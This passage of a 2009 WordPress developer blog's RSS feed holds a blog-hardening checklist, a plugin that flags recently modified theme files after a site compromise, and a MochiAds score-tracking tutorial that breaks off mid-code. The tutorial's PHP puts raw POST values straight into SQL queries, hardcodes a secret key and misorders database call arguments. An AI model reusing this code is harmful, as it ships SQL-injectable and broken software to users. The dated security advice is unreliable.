<br />
<b>Warning</b>:  implode() [<a href='function.implode'>function.implode</a>]: Argument must be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3258</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<p>As old readers know, my blog has been hacked several times. You can read about <a href="http://www.emanueleferonato.com/2007/12/09/trying-to-hack-the-blog/">my first hack</a> and <a href="http://www.emanueleferonato.com/2009/05/01/what-to-do-when-your-blog-has-a-virus/">what to do when your blog has a virus</a>, but now it&#8217;s time to prevent hackers from injecting malware in your WordPress blog.</p>
<p>Follow these simple 10 steps, they aren&#8217;t ordered in any way, just a list I am writing to help you making your blog more secure</p>
<p><strong>1) Don&#8217;t display your WP version</strong>: hackers know security holes and exploits of every WP version, and unfortunately in your <code>header.php</code> file you probably have this line:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;meta name=&quot;generator&quot; content=&quot;WordPress &lt;?php bloginfo(’version’); ?&gt;&quot; /&gt;</pre></div></div>

<p>Remove this tag or simply remove the php function returning the WP version. Your new generator tag should look something like</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;meta name=&quot;generator&quot; content=&quot;WordPress&quot; /&gt;</pre></div></div>

<p><strong>2) Protect your <code>/wp-content/plugins/</code> directory</strong> putting a blank <code>index.html</code> file in it. In latest WP versions there is an empty <code>index.php</code> file that does the same job. This way nobody will see the plugins you installed, checking for exploitable ones.</p>
<p><strong>3) Use a secure password</strong>, it shouldn&#8217;t be your girlfirend&#8217;s name or your daughter&#8217;s name. A good password is made by at least 8 characters using both uppercase and lowercase and numbers.</p>
<p><strong>4) Change your login name</strong> with something different than &#8220;admin&#8221;. Most WP installations still use the default admin login to log into administrator area. If your blog is under a <a href="http://en.wikipedia.org/wiki/Brute_force_attack" target = "_blank">brute force attack</a>, you will make hackers life a bit harder if they have to guess both the password and the login name.</p>
<p><strong>5) Install <a target = "_blank" href="http://wordpress.org/extend/plugins/login-lockdown/">Login LockDown</a> plugin</strong>. Login LockDown records the IP address and timestamp of every failed login attempt. If more than a certain number of attempts are detected within a short period of time from the same IP range, then the login function is disabled for all requests from that range. This helps to prevent brute force password discovery. Currently the plugin defaults to a 1 hour lock out of an IP block after 3 failed login attempts within 5 minutes. This can be modified via the Options panel. Admisitrators can release locked out IP ranges manually from the panel.</p>
<p><strong>6) Choose a good hosting company</strong> or keep your web server updated. You can secure your WP blog in a million ways, but if your server has security issues, you&#8217;re doomed anyway.</p>
<p><strong>7) Secure your <code>/wp-admin/</code> directory</strong>. Create a file called .htaccess in such directory and place this script:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="" style="font-family:monospace;">AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName “Access Control”
AuthType Basic
order deny,allow
deny from all
# allowed IP's
allow from xxx.xxx.xxx.xxx
allow from yyy.yyy.yyy.yyy
...
...
allow from zzz.zzz.zzz.zzz</pre></td></tr></table></div>

<p>Change xxx, yyy and zzz with IP&#8217;s you currently log in from</p>
<p><strong>8) Keep your WP version (not too) updated</strong>. While old WP versions may have security bugs that aren&#8217;t fixed anymore, installing the latest release can expose you to unknown bugs during the first day. If it&#8217;s not a critical security update, my advice is to wait at least a couple of days before installing the new version.</p>
<p><strong>9) Get rid of bad bots</strong> adding these lines to your main .htaccess file (the one in your WP root)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="" style="font-family:monospace;">SetEnvIfNoCase User-Agent &quot;^Libwww-perl&quot; bad_bot
&lt;Limit GET POST&gt;
Order Allow,Deny
Allow from all
Deny from env=bad_bot
&lt;/Limit&gt;</pre></td></tr></table></div>

<p>If you look in your server logs you will probably see attempts by automated scripts (bots) to hack your site. This happens to all sites, and the <code>Libwww-perl</code> agent is recognized to be one of thw worst of them. Check this <a target = "_blank" href="http://www.google.com/search?hl=en&#038;source=hp&#038;q=bad+bots&#038;aq=f&#038;oq=&#038;aqi=g10">Google search</a> for more information.</p>
<p><strong>10) When you are about to install a plugin</strong>, Google for it, to make sure nobody is reporting security issues</p>
<p>&#8230; and death to pirates&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/10/14/10-ways-to-secure-your-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>WordPress plugin prototype to check the date and time that wp files have been last modified</title>
		<link>http://www.emanueleferonato.com/2009/10/08/wordpress-plugin-prototype-to-check-the-date-and-time-that-wp-files-have-been-last-modified/</link>
		<comments>http://www.emanueleferonato.com/2009/10/08/wordpress-plugin-prototype-to-check-the-date-and-time-that-wp-files-have-been-last-modified/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 20:20:41 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1723</guid>
		<description><![CDATA[Like some of you noticed during these days, my blog was hacked.
Someone injected an encoded javascript code into my footer.php theme making my site open an iframe with some badware.
The same old things that happen when you&#8217;re famous :)
The boring part of this story is now I check for my WP files every day, to [...]]]></description>
			<content:encoded><![CDATA[<p>Like some of you noticed during these days, my blog was hacked.</p>
<p>Someone injected an encoded javascript code into my <code>footer.php</code> theme making my site open an iframe with some badware.</p>
<p>The same old things that happen when you&#8217;re famous :)</p>
<p>The boring part of this story is now I check for my WP files every day, to prevent code injection, until I&#8217;ll find the way hackers use to inject such code.</p>
<p>So I developed a very basic plugin to do this job for me. It scans my themes directory and outputs the files modified in the last 24 hours.</p>
<p>I don&#8217;t know if I&#8217;ll turn this prototype into a real, finished, plugin&#8230; but meanwhile you can take a look at the code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">/*
Plugin Name: Check file dates
Plugin URI: http://www.emanueleferonato.com/
Description: Checks the date and time that wp files have been last modified.
Author: Emanuele Feronato
Version: 1.0
Author URI: http://www.emanueleferonato.com/
*/</span>
&nbsp;
add_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'admin_menu'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'add_plugin_pages'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> add_plugin_pages<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    add_menu_page<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Check dates'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'Check dates'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'mt_toplevel_page'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> date_tree<span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_dir</span><span style="color: #339933;">,</span><span style="color: #000088;">$date</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #000088;">$dirs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_diff</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">Array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;..&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dirs</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
               date_tree<span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span><span style="color: #000088;">$date</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #009900;">&#125;</span>
          <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
               <span style="color: #000088;">$mod_date</span> <span style="color: #339933;">=</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Y-m-d H:i:s&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mod_date</span><span style="color: #339933;">&gt;</span><span style="color: #000088;">$date</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$start_dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&lt;strong&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/strong&gt; -&gt; &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Y-m-d H:i:s&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
               <span style="color: #009900;">&#125;</span>
          <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> mt_toplevel_page<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #000088;">$date</span> <span style="color: #339933;">=</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Y-m-d&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;-1 day&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; 00:00:00&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;h2&gt;Searching for files modified after &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$date</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/h2&gt;&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul&gt;&quot;</span><span style="color: #339933;">;</span>
     date_tree<span style="color: #009900;">&#40;</span>get_theme_root<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$date</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/ul&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>And outputs something like this:</p>
<p><code><strong>Searching for files modified after 2009-10-07 00:00:00</strong><br />
<strong>footer.php</strong> -> 2009-10-07 23:31:56<br />
<strong>header.php</strong> -> 2009-10-08 17:58:14</code></p>
<p>If you want to try it, simply create a new file into your plugins directory and paste this code.</p>
<p>If you see some interesting use out of it by adding some options, let me know and maybe I&#8217;ll finish it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/10/08/wordpress-plugin-prototype-to-check-the-date-and-time-that-wp-files-have-been-last-modified/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Triqui MochiAds Arcade plugin 1.11 released</title>
		<link>http://www.emanueleferonato.com/2009/08/27/triqui-mochiads-arcade-plugin-1-11-released/</link>
		<comments>http://www.emanueleferonato.com/2009/08/27/triqui-mochiads-arcade-plugin-1-11-released/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 21:17:04 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1585</guid>
		<description><![CDATA[Yesterday MochiMedia&#8217;s feed added a new field, making the MochiAds Arcade plugin not longer compatible with the new feed.
You are invited to download version 1.11, while I am thinking about a way to automatically inform all plugin users when I release a new version.
I noticed some plugins have an auto-update system but it&#8217;s not what [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday <a href="https://www.mochiads.com/r/972ae333a3c92a2a">MochiMedia</a>&#8217;s feed added a new field, making the <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-plugin-for-wordpress-official-page/">MochiAds Arcade plugin</a> not longer compatible with the new feed.</p>
<p>You are invited to download version 1.11, while I am thinking about a way to automatically inform all plugin users when I release a new version.</p>
<p>I noticed some plugins have an auto-update system but it&#8217;s not what I am looking for, I would like to have some kind of database driven area when I can write custom message rather than a warning in the plugin page.</p>
<p>Stay tuned, and meanwhile install the new version.</p>
<p>The next one I am developing will surely include this feature.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/08/27/triqui-mochiads-arcade-plugin-1-11-released/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Understanding MochiAds Publisher Bridge – Part 3</title>
		<link>http://www.emanueleferonato.com/2009/08/24/understanding-mochiads-publisher-bridge-%e2%80%93-part-3/</link>
		<comments>http://www.emanueleferonato.com/2009/08/24/understanding-mochiads-publisher-bridge-%e2%80%93-part-3/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 14:20:23 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1562</guid>
		<description><![CDATA[In part 1 we saw how to configure a cross-domain policy file, calling the javascript and send the results to a webpage.
In part 2 we saw how to prevent cheating.
In this 3rd part we&#8217;ll make something useful with it. I am going to add to my Triqui MochiAds Arcade theme for WordPress a WordPress widget [...]]]></description>
			<content:encoded><![CDATA[<p>In <a href="http://www.emanueleferonato.com/2009/07/16/understanding-mochiads-publisher-bridge/">part 1</a> we saw how to configure a cross-domain policy file, calling the javascript and send the results to a webpage.</p>
<p>In <a href="http://www.emanueleferonato.com/2009/08/17/understanding-mochiads-publisher-bridge-part-2/">part 2</a> we saw how to prevent cheating.</p>
<p>In this 3rd part we&#8217;ll make something useful with it. I am going to add to my <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-theme-for-wordpress-official-page/">Triqui MochiAds Arcade theme for WordPress</a> a WordPress widget showing the latest scores submitted from my portal, <a href="http://www.triqui.com/" target = "_blank">triqui.com</a>, but once you understand how to do it, you can easily change the script to make it fit your needs.</p>
<p>The first thing to do is creating a new table in your WordPress database. At this time, I only want to save player name, score and obviously the game unique id.</p>
<p>So my MySQL query is:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> <span style="color: #993333; font-weight: bold;">IF</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">EXISTS</span> <span style="color: #ff0000;">`wp_mochi_scores`</span> <span style="color: #66cc66;">&#40;</span>
  <span style="color: #ff0000;">`id`</span> int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">11</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`when`</span> timestamp <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> CURRENT_TIMESTAMP<span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`gameid`</span> text COLLATE utf8_unicode_ci <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`name`</span> text COLLATE utf8_unicode_ci <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`score`</span> text COLLATE utf8_unicode_ci <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
  <span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">`id`</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span> ENGINE<span style="color: #66cc66;">=</span>MyISAM  <span style="color: #993333; font-weight: bold;">DEFAULT</span> CHARSET<span style="color: #66cc66;">=</span>utf8 COLLATE<span style="color: #66cc66;">=</span>utf8_unicode_ci;</pre></td></tr></table></div>

<p>as you can see, I added a primary auto increment key and a timestamp field, to determine when the score has been saved.<span id="more-1562"></span></p>
<p>Then I need to change <code>postscores.php</code> this way:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// your secret key</span>
<span style="color: #000088;">$key</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;f26ebddd6fcfb796ac1841bcc57af057&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// initializing an empty string - not strictly necessary</span>
<span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// ordering the associative POST array by keys</span>
<span style="color: #990000;">ksort</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// loop scanning through all POST array</span>
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$varname</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$varvalue</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #666666; font-style: italic;">// if the key is not &quot;signature&quot; then append key and url encoded values to the string</span>
     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$varname</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;signature&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$string</span><span style="color: #339933;">.=</span><span style="color: #000088;">$varname</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">rawurlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$varvalue</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// removing the last character (a &quot;&amp;&quot;&quot;)</span>
<span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// appeding the secret key to the string</span>
<span style="color: #000088;">$string</span><span style="color: #339933;">.=</span> <span style="color: #000088;">$key</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// comparing the md5 encryption of the string with the &quot;signature&quot; variable</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span>signature<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #666666; font-style: italic;">// requiring the relative path to your wp-config.php file</span>
     <span style="color: #666666; font-style: italic;">// according to your wp installation, this path may change</span>
     <span style="color: #666666; font-style: italic;">// but in most cases it will work this way</span>
     <span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;../../../wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #666666; font-style: italic;">// connecting to wp database</span>
     <span style="color: #000088;">$link</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span>DB_HOST<span style="color: #339933;">,</span> DB_USER<span style="color: #339933;">,</span> DB_PASSWORD<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #666666; font-style: italic;">// selecting the proper database</span>
     <span style="color: #000088;">$db</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span>DB_NAME<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #666666; font-style: italic;">// inserting the game tag, the score and the player name</span>
     <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;insert into &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$table_prefix</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;mochi_scores (gameid,name,score) values('<span style="color: #006699; font-weight: bold;">$_POST[gameID]</span>','<span style="color: #006699; font-weight: bold;">$_POST[name]</span>','<span style="color: #006699; font-weight: bold;">$_POST[score]</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Now I have a script that silently populates the <code>mochi_scores</code> table with the latest scores.</p>
<p>It&#8217;s time to show them in a widget.</p>
<p>If you don&#8217;t know what is a widget or how to create and activate it, follow <a href="http://www.emanueleferonato.com/2008/02/15/how-to-create-a-wordpress-widget/">How to create a WordPress Widget</a>.</p>
<p>I created a file called mochi_lastscores.php with this content:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">/*
Plugin Name: Mochi lastscores
Plugin URI: http://www.emanueleferonato.com/
Description: Displays last scores submitted in your MochiAds Arcade
Author: Emanuele Feronato
Version: 1.0
Author URI: http://www.emanueleferonato.com/
*/</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> mochi_lastscores_widget<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">echo</span><span style="color: #0000ff;">&quot;&lt;li&gt;&lt;h2&gt;LATEST SCORES&lt;/h2&gt;&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #666666; font-style: italic;">// selecting the latest 10 scores</span>
     <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select * from &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prefix</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;mochi_scores order by id desc limit 0,10&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #666666; font-style: italic;">// saving scores inside an array called &quot;scores&quot;</span>
     <span style="color: #000088;">$scores</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #339933;">,</span>ARRAY_A<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$scores</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul&gt;&quot;</span><span style="color: #339933;">;</span>
          <span style="color: #666666; font-style: italic;">// scanning all scores</span>
          <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$scores</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$score</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
               <span style="color: #666666; font-style: italic;">// looking for the entry in my mochi game table with the same game tag as the one I saved</span>
               <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select * from &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prefix</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;mochi where game_tag = <span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #006699; font-weight: bold;">$score[gameid]</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">;</span>
